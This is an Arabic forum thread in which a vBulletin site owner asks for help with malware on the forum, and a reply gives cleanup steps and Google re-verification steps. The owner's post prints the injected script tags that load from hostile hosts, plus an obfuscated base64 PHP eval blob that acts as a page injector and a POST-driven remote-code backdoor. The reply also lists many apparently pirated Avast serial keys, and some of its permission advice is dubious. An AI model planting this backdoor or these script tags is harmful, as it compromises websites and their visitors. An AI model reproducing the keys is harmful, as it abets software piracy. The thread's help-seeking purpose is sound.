الرجاء المساعدة فيروس في الموقع
السلام عليكم ورحمه الله وبركاته
حصلت معي مشكله في المنتدى وتم تسكير المنتدى من قبل قوقل
بسبب وجود فيروس في المنتدى
عند دخول المنتدى برنامج الكاسبر يحذر من وجود فيروس في الوصله هذه
http://208.109.100.163/images/azure.php
مع العلم تم البحث في المنتدى ولم اجد الوصله هذه في الموقع
يا ليت احد يخبرني شو الحل ؟؟؟
هذه وجدتها في صفحات الموقع
<script src=http://vidamballagas.extra.hu/sim/inde_x.php >
<?php eval(base64_decode('aWYoI WZ1bmN0aW9uX2V4aXN0cygna3 NpbycpKXtmdW5jdGlvbiBrc2l vKCRzKXtpZihwcmVnX21hdGNo X2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJ GEpKWZvcmVhY2goJGFbMF1hcy R2KWlmKGNvdW50KGV4cGxvZGU oIlxuIiwkdikpPjUpeyRlPXBy ZWdfbWF0Y2goJyNbXCciXVteX HNcJyJcLiw7XD8hXFtcXTovPD 5cKFwpXXszMCx9IycsJHYpfHx wcmVnX21hdGNoKCcjW1woXFtd KFxzKlxkKywpezIwLH0jJywkd ik7aWYoKHByZWdfbWF0Y2goJy NcYmV2YWxcYiMnLCR2KSYmKCR lfHxzdHJwb3MoJHYsJ2Zyb21D aGFyQ29kZScpKSl8fCgkZSYmc 3RycG9zKCR2LCdkb2N1bWVudC 53cml0ZScpKSkkcz1zdHJfcmV wbGFjZSgkdiwnJywkcyk7fWlm KHByZWdfbWF0Y2hfYWxsKCcjP GlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopP y8vKFtePl0qPyk+I2lzJywkcy wkYSkpZm9yZWFjaCgkYVswXWF zJHYpaWYocHJlZ19tYXRjaCgn I1tcLiBdd2lkdGhccyo9XHMqW 1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzc GxheVxzKjpccypub25lI2knLC R2KSYmIXN0cnN0cigkdiwnPyc uJz4nKSkkcz1wcmVnX3JlcGxh Y2UoJyMnLnByZWdfcXVvdGUoJ HYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkc yk7JHM9c3RyX3JlcGxhY2UoJG E9YmFzZTY0X2RlY29kZSgnUEh OamNtbHdkQ0J6Y21NOWFIUjBj RG92TDNacFpHRnRZbUZzYkdGb llYTXVaWGgwY21FdWFIVXZjMm x0TDJsdVpHVmZlQzV3YUhBZ1B qd3ZjMk55YVhCMFBnPT0nKSwn Jywkcyk7aWYoc3RyaXN0cigkc ywnPGJvZHknKSkkcz1wcmVnX3 JlcGxhY2UoJyMoXHMqPGJvZHk pI21pJywkYS4nXDEnLCRzLDEp O2Vsc2VpZihzdHJwb3MoJHMsJ zxhJykpJHM9JGEuJHM7cmV0dX JuJHM7fWZ1bmN0aW9uIGtzaW8 yKCRhLCRiLCRjLCRkKXtnbG9i YWwka3NpbzE7JHM9YXJyYXkoK TtpZihmdW5jdGlvbl9leGlzdH MoJGtzaW8xKSljYWxsX3VzZXJ fZnVuYygka3NpbzEsJGEsJGIs JGMsJGQpO2ZvcmVhY2goQG9iX 2dldF9zdGF0dXMoMSlhcyR2KW lmKCgkYT0kdlsnbmFtZSddKT0 9J2tzaW8nKXJldHVybjtlbHNl aWYoJGE9PSdvYl9nemhhbmRsZ XInKWJyZWFrO2Vsc2Ukc1tdPW FycmF5KCRhPT0nZGVmYXVsdCB vdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb 3VudCgkcyktMTskaT49MDskaS 0tKXskc1skaV1bMV09b2JfZ2V 0X2NvbnRlbnRzKCk7b2JfZW5k X2NsZWFuKCk7fW9iX3N0YXJ0K Cdrc2lvJyk7Zm9yKCRpPTA7JG k8Y291bnQoJHMpOyRpKyspe29 iX3N0YXJ0KCRzWyRpXVswXSk7 ZWNobyAkc1skaV1bMV07fX19J GtzaW9sPSgoJGE9QHNldF9lcn Jvcl9oYW5kbGVyKCdrc2lvMic pKSE9J2tzaW8yJyk/JGE6MDtldmFsKGJhc2U2NF9kZ WNvZGUoJF9QT1NUWydlJ10pKT s=')); ?>
<script src=http://208.109.100.163/images/azure.php ></script>
في الهدر
ما ادري كيف تم زرعها في ملفات الموقع
تم حذف المنتدى كامل وتم استرجاعه لكن المشكله لم تنحل والفيروس موجود
تم فتح الشفره هذه
<?php eval(base64_decode('aWYoI WZ1bmN0aW9uX2V4aXN0cygna3 NpbycpKXtmdW5jdGlvbiBrc2l vKCRzKXtpZihwcmVnX21hdGNo X2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJ GEpKWZvcmVhY2goJGFbMF1hcy R2KWlmKGNvdW50KGV4cGxvZGU oIlxuIiwkdikpPjUpeyRlPXBy ZWdfbWF0Y2goJyNbXCciXVteX HNcJyJcLiw7XD8hXFtcXTovPD 5cKFwpXXszMCx9IycsJHYpfHx wcmVnX21hdGNoKCcjW1woXFtd KFxzKlxkKywpezIwLH0jJywkd ik7aWYoKHByZWdfbWF0Y2goJy NcYmV2YWxcYiMnLCR2KSYmKCR lfHxzdHJwb3MoJHYsJ2Zyb21D aGFyQ29kZScpKSl8fCgkZSYmc 3RycG9zKCR2LCdkb2N1bWVudC 53cml0ZScpKSkkcz1zdHJfcmV wbGFjZSgkdiwnJywkcyk7fWlm KHByZWdfbWF0Y2hfYWxsKCcjP GlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopP y8vKFtePl0qPyk+I2lzJywkcy wkYSkpZm9yZWFjaCgkYVswXWF zJHYpaWYocHJlZ19tYXRjaCgn I1tcLiBdd2lkdGhccyo9XHMqW 1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzc GxheVxzKjpccypub25lI2knLC R2KSYmIXN0cnN0cigkdiwnPyc uJz4nKSkkcz1wcmVnX3JlcGxh Y2UoJyMnLnByZWdfcXVvdGUoJ HYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkc yk7JHM9c3RyX3JlcGxhY2UoJG E9YmFzZTY0X2RlY29kZSgnUEh OamNtbHdkQ0J6Y21NOWFIUjBj RG92TDNacFpHRnRZbUZzYkdGb llYTXVaWGgwY21FdWFIVXZjMm x0TDJsdVpHVmZlQzV3YUhBZ1B qd3ZjMk55YVhCMFBnPT0nKSwn Jywkcyk7aWYoc3RyaXN0cigkc ywnPGJvZHknKSkkcz1wcmVnX3 JlcGxhY2UoJyMoXHMqPGJvZHk pI21pJywkYS4nXDEnLCRzLDEp O2Vsc2VpZihzdHJwb3MoJHMsJ zxhJykpJHM9JGEuJHM7cmV0dX JuJHM7fWZ1bmN0aW9uIGtzaW8 yKCRhLCRiLCRjLCRkKXtnbG9i YWwka3NpbzE7JHM9YXJyYXkoK TtpZihmdW5jdGlvbl9leGlzdH MoJGtzaW8xKSljYWxsX3VzZXJ fZnVuYygka3NpbzEsJGEsJGIs JGMsJGQpO2ZvcmVhY2goQG9iX 2dldF9zdGF0dXMoMSlhcyR2KW lmKCgkYT0kdlsnbmFtZSddKT0 9J2tzaW8nKXJldHVybjtlbHNl aWYoJGE9PSdvYl9nemhhbmRsZ XInKWJyZWFrO2Vsc2Ukc1tdPW FycmF5KCRhPT0nZGVmYXVsdCB vdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb 3VudCgkcyktMTskaT49MDskaS 0tKXskc1skaV1bMV09b2JfZ2V 0X2NvbnRlbnRzKCk7b2JfZW5k X2NsZWFuKCk7fW9iX3N0YXJ0K Cdrc2lvJyk7Zm9yKCRpPTA7JG k8Y291bnQoJHMpOyRpKyspe29 iX3N0YXJ0KCRzWyRpXVswXSk7 ZWNobyAkc1skaV1bMV07fX19J GtzaW9sPSgoJGE9QHNldF9lcn Jvcl9oYW5kbGVyKCdrc2lvMic pKSE9J2tzaW8yJyk/JGE6MDtldmFsKGJhc2U2NF9kZ WNvZGUoJF9QT1NUWydlJ10pKT s=')); ?>
الى
if(!function_exists('ksio ')){function ksio($s){if(preg_match_al l('##is',$s,$a))foreach($ a[0]as$v)if(count(explode("\n ",$v))>5){$e=preg_match(' #[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match(' #[\(\[](\s*\d+,){20,}#',$v);if(( preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromC harCode')))||($e&&strpos( $v,'document.write')))$s= str_replace($v,'',$s);}if (preg_match_all('##is','' ,$s);$s=str_replace($a=ba se64_decode('PHNjcmlwdCBz cmM9aHR0cDovL3ZpZGFtYmFsb GFnYXMuZXh0cmEuaHUvc2ltL2 luZGVfeC5waHAgPjwvc2NyaXB 0Pg=='),'',$s);if(stristr ($s,'=0;$i--){$s[$i][1]=ob_get_contents();ob_end _clean();}ob_start('ksio' );for($i=0;$i<count
معلومات المنتدى
Powered by vBulletin Version 3.7.0 bata 4
رد: الرجاء المساعدة فيروس في الموقع
السلام عليكم ورحمة الله وبركاته
بسم الله الرحمن الرحيم
الحمدلله والصلاة والسلام على رسول الله وعلى آله وصحبه أجمعين
فايروس المنتديات والمواقع الكل يعاني من هذهـ المشكلة وانتشر في الأونه الأخيرة
فايروس المنتديات بشكل كبير....
=========================
حل هذهـ المشكلة بإذن الله يكون بين يديكم الأن
========================= ===============
اولأً نقوم هل جوجل حظر موقع ؟
الجواب : نعم
========================= ===
قم بتحميل برنامج افاست
التحميل من هنا
=====================
أفاست! 4 المنزلي - النسخة العربية (الحجم 37.62 MB )
http://files.avast.com/iavs4pro/setupara.exe
أفاست! 4 المنزلي - النسخة الانكليزية (الحجم 37.82 MB )
http://files.avast.com/iavs4pro/setupeng.exe
السيريال نمبر
W7522631R8800R1106-210B0RZW
W4919656R8800M1106-0KNX6T98
W3992174R8800A1106-NVTE2HMP
W1313170R8800R1106-9U5HVT6J
S7801107R7251M0905-84D0JDED
W7522631R8800R1106-210B0RZW
W4919656R8800M1106-0KNX6T98
W3992174R8800A1106-NVTE2HMP
W1313170R8800R1106-9U5HVT6J
W7705707R0071S1110-S8U9J3C0
W54797508H4400A1106-FCKY68K3
S4468584r4468w1104-vkhl4dp9
S7377937r9355t1106-nz1khe7k
S2300506r5866y1002-xxex2wls
S4985883r1678n1104-xkad8lt5
S2933286r5155e1102-hwpa0nj9
========================= =============
اذا كنت تمتلك مركز تحميل صور وغيرها ,,,,,الـــخ
قم بحذفه والرأي يعود إليك . ولكن انصح بحذفهـ وتنصيبه من جديد اذا شئت
ولكن لست مسؤل اذا لم ينظف موقعك ؟
ملاحظة : لم تقم بإستبدال اي ملف او مجلد انا انصح بالحذف ثم الرفع لنسخة جديدة اي كان
السكربت المرفوع منتدى او مركز تحميل او مجلة ..........الـــخ
========================= ========
اذا قم بحذف جميع مجلدات موقع وقم برقع مجلدات (سكربتاتك) الجديدة النضيفه
واهم شي قبل الرفع تفحصها ....
تأكد ان مجلدات الصور لا يوجد فيه ملفات php اذا شاهدت ملفات php داخل مجلد images
سواءاً كان في مجلد المنتدى او مجلد اي استايل ..
ومجلدات
styles - photos - avators
وهذهـ نقطة من شرح اخوي نايف
ابحث عن الملفات الغريبة وآخر الملفات التي تم رفعها على الموقع وقم بحذف الملفات الغريبة كـ GIFIMG.PHP
========================= ==========
وعادتاً يكون اسمه الملف
gifimg.php او images.php
========================= =============
بعد رفع جميع محتويات الموقع او المنتدى قم بإعطاء المجلدات الأتيه التصريح
111
images
clientscript
includes
وقم بإعطاء مجلد موقع او منتداك او السكربت المرفوع التصريح 111 حتى تضمن عدم دخول الفايروسات وانتقالها من مجلد إلى مجلد
ملاحظة التصاريح عن طريق السي بانل لان اغلب برامج الرفع لا تقبل اعطاء التصريح 111
التصاريح فقط من السي بانل cPanel
من إدارة الملفات
========================= =======================
الان جاء وقت قوقل : بعد التأكد ان قد قم بالدخول الى موقع ولا يوجد اي فايروس
قم بالتسجيل في قوقل
من هنا التسجيل في قوقل
http://mail.google.com/mail/signup
بعد التسجيل وتسجيل الدخول واذاكنت تمتلك حساب سابق قم بالدخول من هنا
http://www.google.com/webmasters/tools
من ثم الصورة التالية
https://mwadah.com/images/imgcache/2009/12/435.jpg
https://mwadah.com/images/imgcache/2009/12/436.jpg
كما فالصورة نختار تحميل ملف HTML
https://mwadah.com/images/imgcache/2009/12/437.jpg
ثم مقوم بتنزيل ملف التحقق من خلال HTML هذا. كما فالصورة الاتية
https://mwadah.com/images/imgcache/2009/12/438.jpg
بعد تنزيل الملف على جهازك قم برفعة على موقعك داخل مجلد WWW
ثم اضغط على تأكيد طبعاً بعد رفع الملف
بتقديم هذا النموذج، أُقر بأن: في المربع الكبير اكتب اللي تريد
لاحظووووووو الصورة الأتية
